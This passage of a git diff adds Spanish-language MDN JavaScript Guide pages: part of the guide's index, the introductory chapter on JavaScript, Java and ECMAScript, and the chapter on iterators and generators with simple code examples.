+   {{JSxRef("../Guide/Bucles_e_iteracion", "while", "#instruccion_while")}}<br>
+   {{JSxRef("../Guide/Bucles_e_iteracion", "do...while", "#instruccion_do...while")}}<br>
+   {{JSxRef("../Guide/Bucles_e_iteracion", "break", "#instruccion_break")}}/{{JSxRef("../Guide/Bucles_e_iteracion", "continue", "#instruccion_continue")}}<br>
+   {{JSxRef("../Guide/Bucles_e_iteracion", "for..in", "#instruccion_for...in")}}<br>
+   {{JSxRef("../Guide/Bucles_e_iteracion", "for..of", "#instruccion_for...of")}}</p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span>{{web.link("/es/docs/Web/JavaScript/Guide/Functions", "Funciones")}}</span>
+
+  <p>{{JSxRef("../Guide/Funciones", "Definir funciones", "#Definir_funciones")}}<br>
+   {{JSxRef("../Guide/Funciones", "Llamar funciones", "#Llamar_funciones")}}<br>
+   {{JSxRef("../Guide/Funciones", "Ámbito de una función", "#Ambito_de_una_funcion")}}<br>
+   {{JSxRef("../Guide/Funciones", "Cierres", "#Cierres")}}<br>
+   {{JSxRef("../Guide/Funciones", "Argumentos", "#Utilizar_el_objeto_arguments")}} y {{JSxRef("../Guide/Funciones", "parámetros", "#Utilizar_parametros_de_funcion")}}<br>
+   {{JSxRef("../Guide/Funciones", "Funciones flecha", "#Funciones_flecha")}}</p>
+ </li>
+ <li><span>{{JSxRef("../Guide/Expressions_and_Operators", "Expresiones y operadores")}}</span>
+  <p>{{JSxRef("../Guide/Expressions_and_Operators", "Asignación", "#Operadores_de_asignacion")}} y {{JSxRef("../Guide/Expressions_and_Operators", "Comparación", "#Operadores_de_comparacion")}}<br>
+   {{JSxRef("../Guide/Expressions_and_Operators", "Operadores aritméticos", "#Operadores_aritmeticos")}}<br>
+   {{JSxRef("../Guide/Expressions_and_Operators", "Operadores lógicos", "#Operadores_logicos")}} y {{JSxRef("../Guide/Expressions_and_Operators", "a nivel de bits", "#Operadores_bit_a_bit")}}<br>
+   {{JSxRef("../Guide/Expressions_and_Operators", "Operador condicional (ternario)", "#Operador_condicional_ternario")}}</p>
+ </li>
+ <li><span>{{JSxRef("../Guide/Numbers_and_dates", "Números y fechas")}}</span>{{JSxRef("../Guide/Numbers_and_dates", "Números literales", "#Numeros")}}
+  <p>{{JSxRef("../Guide/Numbers_and_dates", "Objeto Number", "#El_objeto_Number")}}<br>
+   {{JSxRef("../Guide/Numbers_and_dates", "Objeto Math", "#El_objeto_Math")}}<br>
+   {{JSxRef("../Guide/Numbers_and_dates", "Objeto Date", "#El_objeto_Date")}}</p>
+ </li>
+ <li><span>{{JSxRef("../Guide/Text_formatting", "Formateo de texto")}}</span>
+  <p>{{JSxRef("../Guide/Text_formatting", "Cadenas literales", "#Cadenas_literales")}}<br>
+   {{JSxRef("../Guide/Text_formatting", "Objeto String", "#Objetos_string")}}<br>
+   {{JSxRef("../Guide/Text_formatting", "Plantillas literales", "#Plantillas_literales_multilinea")}}<br>
+   {{JSxRef("../Guide/Text_formatting", "Internacionalización", "#Internacionalizacion")}}<br>
+   {{JSxRef("../Guide/Regular_Expressions", "Expresiones Regulares")}}</p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span>{{JSxRef("../Guide/Regular_Expressions", "Colecciones indexadas")}}</span>
+
+  <p>{{JSxRef("../Guide/colecciones_indexadas", "Arreglos", "#El_objeto_Array")}}<br>
+   {{JSxRef("../Guide/colecciones_indexadas", "Arreglos tipados", "#Arrays_tipados")}}</p>
+ </li>
+ <li><span>{{JSxRef("../Guide/Keyed_collections", "Colecciones con clave")}}</span>
+  <p>{{JSxRef("../Guide/Keyed_collections", "Mapa", "#Objeto_map")}}<br>
+   {{JSxRef("../Guide/Keyed_collections", "WeakMap", "#El_objeto_WeakMap")}}<br>
+   {{JSxRef("../Guide/Keyed_collections", "Set", "#El_objeto_Set")}}<br>
+   {{JSxRef("../Guide/Keyed_collections", "WeakSet", "#El_objeto_WeakSet")}}</p>
+ </li>
+ <li><span>{{JSxRef("../Guide/Trabajando_con_objectos", "Trabajar con objetos")}}</span>
+  <p>{{JSxRef("../Guide/Trabajando_con_objectos", "Objetos y propiedades", "#Objetos_y_propiedades")}}<br>
+   {{JSxRef("../Guide/Trabajando_con_objectos", "Creación de objetos", "#Creacion_de_objetos")}}<br>
+   {{JSxRef("../Guide/Trabajando_con_objectos", "Definición de métodos", "#Definicion_de_metodos")}}<br>
+   {{JSxRef("../Guide/Trabajando_con_objectos", "Captadores —getter— y establecedores —setter—", "#Definicion__de_captadores_getters_y_establecedores_setters")}}
+</p>
+ </li>
+ <li><span>{{JSxRef("../Guide/Details_of_the_Object_Model", "Detalles del modelo de objetos")}}</span>
+  <p>{{JSxRef("../Guide/Details_of_the_Object_Model", "Programación Orientada a Objetos basada en prototipos", "#Lenguajes_basados_en_clases_vs._basados_en_prototipos")}}<br>
+   {{JSxRef("../Guide/Details_of_the_Object_Model", "Crear jerarquía de objetos", "#Creacion_de_la_jerarquia")}}<br>
+   {{JSxRef("../Guide/Details_of_the_Object_Model", "Herencia", "#Herencia_de_propiedades_revisada")}}</p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span>{{JSxRef("../Guide/Usar_promesas", "Promesas")}}</span>
+
+  <p>{{JSxRef("../Guide/Usar_promesas", "Garantías", "#Garantias")}}<br>
+   {{JSxRef("../Guide/Usar_promesas", "Encadenamiento", "#Encadenamiento")}}<br>
+   {{JSxRef("../Guide/Usar_promesas", "Propagación de errores", "#Propagacion_de_errores")}}<br>
+   {{JSxRef("../Guide/Usar_promesas", "Composición", "#Composicion")}}<br>
+   {{JSxRef("../Guide/Usar_promesas", "Temporizador", "#Temporizador")}}</p>
+ </li>
+ <li><span>{{JSxRef("../Guide/Iterators_and_Generators", "Iteradores y generadores")}}</span>
+  <p>{{JSxRef("../Guide/Iterators_and_Generators", "Iteradores", "#Iteradores")}}<br>
+   {{JSxRef("../Guide/Iterators_and_Generators", "Iterables", "#Iterables")}}<br>
+   {{JSxRef("../Guide/Iterators_and_Generators", "Generadores", "#Generadores")}}</p>
+ </li>
+ <li><span>{{JSxRef("../Guide/Meta_programming", "Metaprogramación")}}</span>
+  <p>{{JSxRef("../Guide/Meta_programming", "Proxy", "#Proxies")}}<br>
+   {{JSxRef("../Guide/Meta_programming", "Controladores y trampas", "#Controladores_y_trampas")}}<br>
+   {{JSxRef("../Guide/Meta_programming", "Proxy revocable", "#Proxy_revocable")}}<br>
+   {{JSxRef("../Guide/Meta_programming", "Reflexión", "#Reflexion")}}</p>
+ </li>
+ <li><span>{{JSxRef("../Guide/Modules", "Módulos JavaScript")}}</span>
+  <p>{{JSxRef("../Guide/Modules", "Exportar", "#Exportar_caracteristicas_del_modulo")}}<br>
+   {{JSxRef("../Guide/Modules", "Importar", "#Importacion_de_caracteristicas_en_tu_script")}}<br>
+   {{JSxRef("../Guide/Modules", "Exportaciones predeterminadas", "#Exportaciones_predeterminadas_vs._exportaciones_con_nombre")}}<br>
+   {{JSxRef("../Guide/Modules", "Cambio de nombre de funciones", "#Renombrar_importaciones_y_exportaciones")}}<br>
+   {{JSxRef("../Guide/Modules", "Carga estática de módulos", "#Carga_estatica_de_modulos")}}<br>
+   {{JSxRef("../Guide/Modules", "Carga dinámica de módulos", "#Carga_dinamica_de_modulos")}}</p>
+ </li>
+</ul>
+
+<p>{{Next("Web/JavaScript/Guide/Introduction")}}</p>
diff --git a/files/es/web/javascript/guide/introducción/index.html b/files/es/web/javascript/guide/introducción/index.html
new file mode 100644
index 0000000000..6200c2c7d6
--- /dev/null
+++ b/files/es/web/javascript/guide/introducción/index.html
@@ -0,0 +1,161 @@
+---
+title: Introducción
+slug: Web/JavaScript/Guide/Introducción
+tags:
+  - Guía
+  - Introducion
+  - JavaScript
+  - Novato
+  - Principiante
+  - 'l10n:priority'
+translation_of: Web/JavaScript/Guide/Introduction
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</div>
+
+<p class="summary">Este capítulo presenta JavaScript y analiza algunos de sus conceptos fundamentales.</p>
+
+<h2 id="¿Qué_debes_conocer_previamente">¿Qué debes conocer previamente?</h2>
+
+<p>Esta guía presume que tienes los siguientes antecedentes básicos:</p>
+
+<ul>
+ <li>Comprensión general de Internet y la ({{Glossary("WWW", "World Wide Web")}}).</li>
+ <li>Buen conocimiento práctico del {{Glossary("HTML", "lenguaje de marcado de hipertexto (HTML)")}}.</li>
+ <li>Alguna experiencia en programación. Si eres nuevo en la programación, prueba uno de los tutoriales vinculados en la página principal sobre {{JSxRef("../../JavaScript", "JavaScript")}}.</li>
+</ul>
+
+<h2 id="Dónde_encontrar_información_sobre_JavaScript">Dónde encontrar información sobre JavaScript</h2>
+
+<p>La documentación de JavaScript en MDN incluye lo siguiente:</p>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn", "Aprende desarrollo web")}} proporciona información para principiantes e introduce conceptos básicos de programación e Internet.</li>
+ <li>La {{JSxRef("../Guide", "Guía de JavaScript")}} (esta guía) proporciona una descripción general sobre el lenguaje JavaScript y sus objetos.</li>
+ <li>La {{JSxRef("../Reference", "Referencia de JavaScript")}} proporciona material de referencia detallado para JavaScript.</li>
+</ul>
+
+<p>Si eres nuevo en JavaScript, comienza con los artículos en el {{web.link("/es/docs/Learn", "área de aprendizaje")}} y la {{JSxRef("../Guide", "Guía de JavaScript")}}. Una vez que tengas una firme comprensión de los fundamentos, puedes usar la {{JSxRef("../Referencia", "Referencia de JavaScript")}} para obtener más detalles sobre objetos y declaraciones individuales.</p>
+
+<h2 id="¿Qué_es_JavaScript">¿Qué es JavaScript?</h2>
+
+<p>JavaScript es un lenguaje de programación multiplataforma orientado a objetos que se utiliza para hacer que las páginas web sean interactivas (p. ej., Que tienen animaciones complejas, botones en los que se puede hacer clic, menús emergentes, etc.). También hay versiones de JavaScript de lado del servidor más avanzadas, como Node.js, que te permiten agregar más funcionalidad a un sitio web que simplemente descargar archivos (como la colaboración en tiempo real entre varias computadoras). Dentro de un entorno (por ejemplo, un navegador web), JavaScript se puede conectar a los objetos de su entorno para proporcionar control programático sobre ellos.</p>
+
+<p>JavaScript contiene una biblioteca estándar de objetos, como <code>Array</code>, <code>Date</code> y <code>Math</code>, y un conjunto básico de elementos del lenguaje como operadores, estructuras de control y declaraciones. El núcleo de JavaScript se puede extender para una variedad de propósitos completándolo con objetos adicionales; por ejemplo:</p>
+
+<ul>
+ <li><em>JavaScript de lado del cliente</em> extiende el núcleo del lenguaje al proporcionar objetos para controlar un navegador y su <em>Modelo de objetos de documento</em> (DOM por <em>Document Object Model</em>). Por ejemplo, las extensiones de lado del cliente permiten que una aplicación coloque elementos en un formulario HTML y responda a eventos del usuario, como clics del mouse, formularios para ingreso de datos y navegación de páginas.</li>
+ <li><em>JavaScript de lado del servidor</em> amplía el núcleo del lenguaje al proporcionar objetos relevantes para ejecutar JavaScript en un servidor. Por ejemplo, las extensiones de lado del servidor permiten que una aplicación se comunique con una base de datos, brinde continuidad de información de una invocación a otra de la aplicación o realice manipulación de archivos en un servidor.</li>
+</ul>
+
+<p>Esto significa que en el navegador, JavaScript puede cambiar la apariencia de la página web (DOM). Y, del mismo modo, el JavaScript de Node.js en el servidor puede responder a solicitudes personalizadas desde el código escrito en el navegador.</p>
+
+<h2 id="JavaScript_y_Java" name="JavaScript_y_Java">JavaScript y Java</h2>
+
+<p>JavaScript y Java son similares en algunos aspectos, pero fundamentalmente diferentes en otros. El lenguaje JavaScript se parece a Java, pero no tiene el tipado estático ni la fuerte verificación de tipos de Java. JavaScript sigue la mayoría de la sintaxis de las expresiones de Java, convenciones de nomenclatura y construcciones de control de flujo básicas, razón por la cual se cambió el nombre de LiveScript a JavaScript.</p>
+
+<p>A diferencia del sistema de clases en tiempo de compilación de Java creado por declaraciones, JavaScript admite un sistema de tiempo de ejecución basado en una pequeña cantidad de tipos de datos que representan valores numéricos, booleanos y de cadena. JavaScript tiene un modelo de objetos basado en prototipos en lugar del modelo de objetos basado en clases más común. El modelo basado en prototipos proporciona herencia dinámica; es decir, lo que se hereda puede variar en objetos individuales. JavaScript también admite funciones sin requisitos declarativos especiales. Las funciones pueden ser propiedades de objetos, ejecutándose como métodos débilmente tipados.</p>
+
+<p>JavaScript es un lenguaje de forma muy libre en comparación con Java. No es necesario declarar todas las variables, clases y métodos. No tienes que preocuparte por si los métodos son públicos, privados o protegidos, y no tienes que implementar interfaces. Las variables, los parámetros y los tipos de retorno de función no se tipifican explícitamente.</p>
+
+<p>Java es un lenguaje de programación basado en clases diseñado para una ejecución rápida y con seguridad de tipos. La seguridad de tipos significa, por ejemplo, que no puedes convertir un entero de Java en una referencia de objeto o acceder a la memoria privada corrompiendo el código de bytes de Java. El modelo basado en clases de Java significa que los programas constan exclusivamente de clases y sus métodos. La herencia de clases de Java y la tipificación fuerte generalmente requieren jerarquías de objetos estrechamente acopladas. Estos requisitos hacen que la programación Java sea más compleja que la programación JavaScript.</p>
+
+<p>Por el contrario, JavaScript desciende en espíritu de una línea de lenguajes más pequeños de tipado dinámico como HyperTalk y dBASE. Estos lenguajes de «<em>scripting</em>» ofrecen herramientas de programación a una audiencia mucho más amplia debido a su sintaxis más sencilla, funcionalidad especializada incorporada y requisitos mínimos para la creación de objetos.</p>
+
+<table class="standard-table">
+ <caption>JavaScript comparado con Java</caption>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Orientado a objetos. No hay distinción entre tipos de objetos. La herencia se realiza a través del mecanismo de prototipo, y las propiedades y métodos se pueden agregar a cualquier objeto de forma dinámica.</td>
+   <td>Basado en clases. Los objetos se dividen en clases e instancias con toda la herencia a través de la jerarquía de clases. Las clases y las instancias no pueden tener propiedades o métodos agregados dinámicamente.</td>
+  </tr>
+  <tr>
+   <td>Los tipos de datos de las variables no se declaran (tipado dinámico, tipado flexible).</td>
+   <td>Los tipos de datos de las variables se deben declarar (tipado estático, fuertemente tipado).</td>
+  </tr>
+  <tr>
+   <td>No se puede escribir automáticamente en el disco duro.</td>
+   <td>Puede escribir automáticamente en el disco duro.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Para obtener más información sobre las diferencias entre JavaScript y Java, consulta el capítulo {{JSxRef("../Guide/Details_of_the_Object_Model", "Detalles del modelo de objetos")}}.</p>
+
+<h2 id="JavaScript_y_la_especificacion_ECMAScript" name="JavaScript_y_la_especificacion_ECMAScript">JavaScript y la especificación ECMAScript</h2>
+
+<p>JavaScript está estandarizado en <a class="external" href="https://www.ecma-international.org/">Ecma International</a>, la asociación europea para estandarizar los sistemas de información y comunicación (ECMA antes era un acrónimo para la Asociación Europea de Fabricantes de Computadoras) para ofrecer un lenguaje de programación internacional estandarizado basado en JavaScript. Esta versión estandarizada de JavaScript, denominada ECMAScript, se comporta de la misma manera en todas las aplicaciones que admiten el estándar. Las empresas pueden utilizar el lenguaje estándar abierto para desarrollar su implementación de JavaScript. El estándar ECMAScript está documentado en la especificación ECMA-262. Consulta {{JSxRef("../Novedades_en_JavaScript", "Novedades en JavaScript")}} para obtener más información sobre las diferentes versiones de JavaScript y las ediciones de especificación ECMAScript.</p>
+
+<p>El estándar ECMA-262 también está aprobado por <a class="external" href="https://www.iso.org/home.html">ISO</a> (Organización Internacional de Normalización) como ISO-16262. También puedes encontrar la especificación en <a class="external" href="https://www.ecma-international.org/publications/standards/Ecma-262.htm">el sitio web de Ecma International</a>. La especificación ECMAScript no describe el modelo de objetos de documento (DOM), que está estandarizado por el <a class="external" href="https://www.w3.org/">World Wide Web Consortium (W3C)</a> y/o <a href="https://whatwg.org">WHATWG (Grupo de trabajo de tecnología de aplicaciones de hipertexto web)</a>. El DOM define la forma en que los objetos de documentos HTML se exponen a tu «script». Para tener una mejor idea de las diferentes tecnologías que se utilizan al programar con JavaScript, consulta el artículo {{JSxRef("../Descripción_de_las_tecnologías_JavaScript", "descripción de las tecnologías JavaScript")}}.</p>
+
+<h3 id="Documentacion_de_JavaScript_versus_especificacion_de_ECMAScript" name="Documentacion_de_JavaScript_versus_especificacion_de_ECMAScript">Documentación de JavaScript versus especificación de ECMAScript</h3>
+
+<p>La especificación ECMAScript es un conjunto de requisitos para implementar ECMAScript. Es útil si deseas implementar funciones del lenguaje compatibles con los estándares en tu implementación o motor ECMAScript (como SpiderMonkey en Firefox o V8 en Chrome).</p>
+
+<p>El documento ECMAScript <em>no</em> está destinado a ayudar a los programadores de scripts. Utiliza la documentación de JavaScript para obtener información al escribir tus scripts.</p>
+
+<p>La especificación ECMAScript utiliza terminología y sintaxis que puede resultar desconocida para un programador de JavaScript. Aunque la descripción del lenguaje puede diferir en ECMAScript, el lenguaje en sí sigue siendo el mismo. JavaScript admite todas las funciones descritas en la especificación ECMAScript.</p>
+
+<p>La documentación de JavaScript describe aspectos del lenguaje que son apropiados para un programador de JavaScript.</p>
+
+<h2 id="Cómo_empezar_con_JavaScript">Cómo empezar con JavaScript</h2>
+
+<p>Comenzar con JavaScript es fácil: todo lo que necesitas es un navegador web moderno. Esta guía incluye algunas funciones de JavaScript que solo están disponibles actualmente en las últimas versiones de Firefox, por lo que se recomienda utilizar la versión más reciente de Firefox.</p>
+
+<p>La herramienta <em>Consola web</em> integrada en Firefox es útil para experimentar con JavaScript; Puedes usarla en dos modos: modo de entrada unilínea y modo de entrada multilínea.</p>
+
+<h3 id="Entrada_unilínea_en_la_consola_web">Entrada unilínea en la consola web</h3>
+
+<p>La {{web.link("/es/docs/Tools/Web_Console", "Consola web")}} te muestra información sobre la página web cargada actualmente, y también incluye un intérprete de JavaScript que puedes usar para ejecutar expresiones de JavaScript en la página actual.</p>
+
+<p>Para abrir la Consola web (<kbd>Ctrl</kbd>+<kbd>Mayús</kbd>+<kbd>I</kbd> en Windows y Linux o <kbd>Cmd</kbd>-<kbd>Opción</kbd>-<kbd>K</kbd> en Mac), abre el menú <strong>Herramientas</strong> en Firefox y selecciona "<strong>Desarrollador ▶ Consola web</strong>".</p>
+
+<p>La consola web aparece en la parte inferior de la ventana del navegador. En la parte inferior de la consola hay una línea de entrada que puedes usar para ingresar JavaScript, y la salida aparece en el panel de arriba:</p>
+
+<p><img alt="Consola web" src="https://mdn.mozillademos.org/files/16569/2019-04-04_00-15-29.png" style="display: block; height: 1824px; margin-left: auto; margin-right: auto; width: 2784px;"></p>
+
+<p>La consola funciona exactamente de la misma manera que <code>eval</code>: devuelve la última expresión ingresada. En aras de la simplicidad, te puedes imaginar que cada vez que ingresas algo en la consola, en realidad estás rodeado por <code>console.log</code> alrededor de <code>eval</code>, así:</p>
+
+<pre class="brush: js notranslate">function greetMe(tuNombre) {
+  alert("Hola " + tuNombre)
+}
+<code>console.log(eval('3 + 5'))</code>
+</pre>
+
+<h3 id="Entrada_multilínea_en_la_consola_web">Entrada multilínea en la consola web</h3>
+
+<p>El modo de entrada unilínea de la consola web es ideal para realizar pruebas rápidas de expresiones JavaScript, pero aunque puedes ejecutar varias líneas, no es muy conveniente para eso. Para JavaScript más complejo, puedes utilizar el <a href="/es/docs/Tools/Web_Console/The_command_line_interpreter#Multi-line_mode">modo de entrada multilínea</a>.</p>
+
+<h3 id="Hola_mundo">Hola mundo</h3>
+
+<p>Para comenzar a escribir JavaScript, abre la Consola web en modo multilínea y escribe tu primer código "Hola mundo" en JavaScript:</p>
+
+<pre class="brush: js notranslate">(function(){
+  "use strict";
+  /* Inicio de tu código */
+  function greetMe(tuNombre) {
+    alert('Hola ' + tuNombre);
+  }
+
+  greetMe('Mundo');
+  /* Fin de tu código */
+})();</pre>
+
+<p>Presiona <kbd>Cmd</kbd>+<kbd>Intro</kbd> o <kbd>Ctrl</kbd>+<kbd>Intro</kbd> (o haz clic en el botón <strong>Ejecutar</strong>), ¡para ver cómo se desarrolla en tu navegador!</p>
+
+<p>En las siguientes páginas, esta guía te presenta la sintaxis de JavaScript y las características del lenguaje, de modo que puedas escribir aplicaciones más complejas.</p>
+
+<p>Pero por ahora, recuerda incluir siempre el <code>(function() { "use strict";</code> antes de tu código, y agrega <code>})();</code> al final de tu código. Aprenderás {{Glossary("IIFE", "qué significa IIFE")}} , pero por ahora puedes pensar que hacen lo siguiente:</p>
+
+<ol>
+ <li>Mejoran enormemente el rendimiento.</li>
+ <li>Evitan la semántica estúpida en JavaScript que hace tropezar a los principiantes.</li>
+ <li>Evitan que los fragmentos de código ejecutados en la consola interactúen entre sí (por ejemplo, que algo creado en una ejecución de consola se utilice para una ejecución de consola diferente).</li>
+</ol>
+
+<p>{{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</p>
diff --git a/files/es/web/javascript/guide/iterators_and_generators/index.html b/files/es/web/javascript/guide/iterators_and_generators/index.html
new file mode 100644
index 0000000000..3c6ceccb34
--- /dev/null
+++ b/files/es/web/javascript/guide/iterators_and_generators/index.html
@@ -0,0 +1,177 @@
+---
+title: Iteradores y generadores
+slug: Web/JavaScript/Guide/Iterators_and_Generators
+tags:
+  - Guía
+  - Intermedio
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Iterators_and_Generators
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}</div>
+
+<p class="summary">Procesar cada uno de los elementos en una colección es una operación muy común. JavaScript proporciona diversas formas de iterar sobre una colección, desde simples bucles {{jsxref("Sentencias/for","for")}}<a href="/en-US/docs/Web/JavaScript/Reference/Statements/for" title="en/Core_JavaScript_1.5_Reference/Statements/for"> </a>hasta métodos como<a href="/en-US/docs/Web/JavaScript/Reference/Statements/for" title="en/Core_JavaScript_1.5_Reference/Statements/for"> </a>{{jsxref("Objetos_globales/Array/map","map()")}} y {{jsxref("Objetos_globales/Array/filter","filter()")}}.<a href="/en-US/docs/Web/JavaScript/Reference/Statements/for" title="en/Core_JavaScript_1.5_Reference/Statements/for"> </a>Los iteradores y los generadores traen el concepto de iteración al centro del lenguaje y proporcionan un mecanismo para personalizar el comportamiento de los bucles {{jsxref("Sentencias/for...of","for...of")}}.</p>
+
+<p>Para más información, véase:</p>
+
+<ul>
+ <li>{{jsxref("Iteration_protocols", "Protocolos de iteración")}}</li>
+ <li>{{jsxref("Sentencias/for...of","for...of")}}</li>
+ <li>{{jsxref("Sentencias/function*","function*")}} y {{jsxref("Objetos_globales/Generador","Generador")}}</li>
+ <li>{{jsxref("Operadores/yield","yield")}} y {{jsxref("Operadores/yield*","yield*")}}</li>
+</ul>
+
+<h2 id="Iteradores">Iteradores</h2>
+
+<p>En JavaScript, un <strong>iterador</strong> es un objeto que permite recorrer una colección y devolver un valor al terminar. </p>
+
+<p>Específicamente, un iterador es un objeto que implementa el <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterator_protocol">protocolo de iteración</a> a través del método <code>next()</code>, el cual devuelve un objeto con dos propiedades:</p>
+
+<dl>
+ <dt><code><var>value</var></code></dt>
+ <dd>El siguiente valor en la secuencia de iteración.</dd>
+ <dt><code><var>done</var></code></dt>
+ <dd>Es <code>true</code> si el último valor en la secuencia ya ha sido consumido. Si <code><var>value</var></code> está presente junto con <code><var>done</var></code>, es el valor de retorno del iterador.</dd>
+</dl>
+
+<p>Un iterador se considera ya terminado/finalizado cuando la invocación de <code>next()</code> regresa un objeto donde la propiedad <code>done</code> es <code>verdadero</code>.</p>
+
+<p>Una vez creado, un objeto iterador puede utilizarse explícitamente llamando repetidamente al método  <code>next()</code>.</p>
+
+<pre class="brush: js">function crearIterador(arreglo){
+    var siguienteIndice = 0;
+
+    return {
+       next: function(){
+           return siguienteIndice &lt; arreglo.length ?
+               {value: arreglo[siguienteIndice++], done: false} :
+               {done: true};
+       }
+    }
+}</pre>
+
+<p>Una vez inicializado, se puede invocar al método <code>next()</code> para acceder a las parejas llave-valor del objeto en cuestión:</p>
+
+<pre class="brush: js">var it = crearIterador(['yo', 'ya']);
+console.log(it.next().value); // 'yo'
+console.log(it.next().value); // 'ya'
+console.log(it.next().done);  // true</pre>
+
+<h2 id="Generadores">Generadores</h2>
+
+<p>Aunque los iteradores personalizados son una herramienta útil, su creación require una programación meticulosa ya que necesitan mantener su estado interno explícitamente. Los <strong>{{jsxref("Objetos_globales/Generador","generadores","","true")}}</strong> son una alternativa poderosa: permiten definir un algoritmo iterativo al escribir una sola función que puede mantener su propio estado.</p>
+
+<p>Una función generadora (constructor GeneratorFunction) es un tipo especial de función que sirve como una fábrica de iteradores. Cuando se ejecuta, regresa un nuevo objeto Generador. Una función se convierte en una Función Generadora si utiliza la sintáxis {{jsxref("Sentencias/function*","function*")}}.</p>
+
+<pre class="brush: js">function* hacedorIds() {
+  var indice = 0;
+  while(true)
+    yield indice++;
+}
+
+var gen = hacedorIds();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+// ...</pre>
+
+<h2 id="Iterables">Iterables</h2>
+
+<p>Un objeto es <strong>iterable</strong> si define cómo se itera. Un ejemplo son los valores que se iteran en un bucle {{jsxref("Sentencias/for...of", "for...of")}}. Algunos tipos integrados de datos, como {{jsxref("Array")}} o {{jsxref("Map")}}, tienen una forma de iteración ya definida, mientras que otras no (como {{jsxref("Object")}}).</p>
+
+<p><span id="result_box" lang="es"><span class="hps">Con el fin de</span> <span class="hps">ser</span> <strong><span class="hps">iterable</span></strong><span>,</span> <span class="hps">un objeto</span> <span class="hps">debe implementar</span></span> el método <strong>@@iterator</strong>. Esto quiere decir que dicho objeto (o alguno en su <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Herencia_y_la_cadena_de_protipos">cadena de prototipos</a>) debe tener una propiedad definida usando la llave {{jsxref("Symbol.iterator")}}. Esta función debería regresar un nuevo iterador en cada invocación, pero no es obligatorio.</p>
+
+<h3 id="Iterables_definidos_por_el_usuario">Iterables definidos por el usuario</h3>
+
+<p>Podemos hacer nuestros propios objetos iterables de este modo:</p>
+
+<pre class="brush: js">var miIterable = {}
+miIterable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+
+for (let valor of miIterable) {
+    console.log(valor)
+}
+// 1
+// 2
+// 3
+
+// ó
+
+[...miIterable] // [1, 2, 3]
+</pre>
+
+<h3 id="Iterables_integrados">Iterables integrados</h3>
+
+<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("Objetos_globales/TypedArray")}}, {{jsxref("Map")}} y {{jsxref("Set")}} son iterables ya integrados, porque todos sus objetos prototipo tienen un método definido con la llave {{jsxref("Symbol.iterator")}}.</p>
+
+<h3 id="Sintaxis_que_esperan_objetos_iterables">Sintaxis que esperan objetos iterables</h3>
+
+<p>Algunas sentencias y expresiones esperan objetos iterables, por ejemplo los bucles {{jsxref("Sentencias/for...of","for-of")}}, {{jsxref("Operadores/Spread_operator","el operador de propagación")}}, {{jsxref("Operadores/yield*","yield*")}}, y {{jsxref("Operadores/Destructuring_assignment","la asignación por desestructuración","","true")}}.</p>
+
+<pre class="brush: js">for(let valor of ["a", "b", "c"]){
+    console.log(valor)
+}
+// "a"
+// "b"
+// "c"
+
+[..."abc"] // ["a", "b", "c"]
+
+function* gen(){
+  yield* ["a", "b", "c"]
+}
+
+gen().next() // { value:"a", done:false }
+
+[a, b, c] = new Set(["a", "b", "c"])
+a // "a"
+
+</pre>
+
+<h2 id="Generadores_avanzados">Generadores avanzados</h2>
+
+<p>Los generadores calculan los valores devueltos bajo demanda, lo que les permite representar eficientemente secuencias que son costosas de calcular, o incluso secuencias infinitas como se explicó anteriormente.</p>
+
+<p>El método {{jsxref("Objetos_globales/Generador/next","next()")}} también acepta un valor que puede ser utilizado para modificar el estado interno del generador. El valor recibido por <code>next()</code> es utilizado como si fuera el resultado de la iteración anterior (último valor entregado por <code>yield</code>) el cual detuvo al generador.</p>
+
+<p>A continuación se muestra un generador de Fibonacci usando <code>next(x)</code> para reiniciar la secuencia:</p>
+
+<pre class="brush: js">function* fibonacci(){
+  var fn1 = 1;
+  var fn2 = 1;
+  while (true){
+    var actual = fn2;
+    fn2 = fn1;
+    fn1 = fn1 + actual;
+    var reset = yield actual;
+    if (reset){
+        fn1 = 1;
+        fn2 = 1;
+    }
+  }
+}
+
+var secuencia = fibonacci();
+console.log(secuencia.next().value);     // 1
+console.log(secuencia.next().value);     // 1
+console.log(secuencia.next().value);     // 2
+console.log(secuencia.next().value);     // 3
+console.log(secuencia.next().value);     // 5
+console.log(secuencia.next().value);     // 8
+console.log(secuencia.next().value);     // 13
+console.log(secuencia.next(true).value); // 1
+console.log(secuencia.next().value);     // 1
+console.log(secuencia.next().value);     // 2
+console.log(secuencia.next().value);     // 3</pre>
+
+<p>Es posible forzar a un generador a lanzar una excepción cuando se invoca al método {{jsxref("Objetos_globales/Generador/throw","throw()")}} y se pasa el valor de excepción a lanzar. Esta excepción será lanzada desde el contexto actual suspendido del generador, como si en vez del estado suspendido actualmente de <code>yield</code> se tuviera una sentencia <code>throw valor</code>.</p>
+
+<p>Si la excepción no es atrapada dentro del generador, se propagará a la invocación de <code>throw()</code>, y las siguientes llamadas a <code>next()</code> tendrán a la propiedad <code>done</code> en <code>verdadero</code>.</p>
+
+<p>Los generadores tienen un método {{jsxref("Objetos_globales/Generador/return","return(valor)")}} que regresa el valor enviado y finalizan al generador.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}</p>
diff --git a/files/es/web/javascript/guide/keyed_collections/index.html b/files/es/web/javascript/guide/keyed_collections/index.html
new file mode 100644
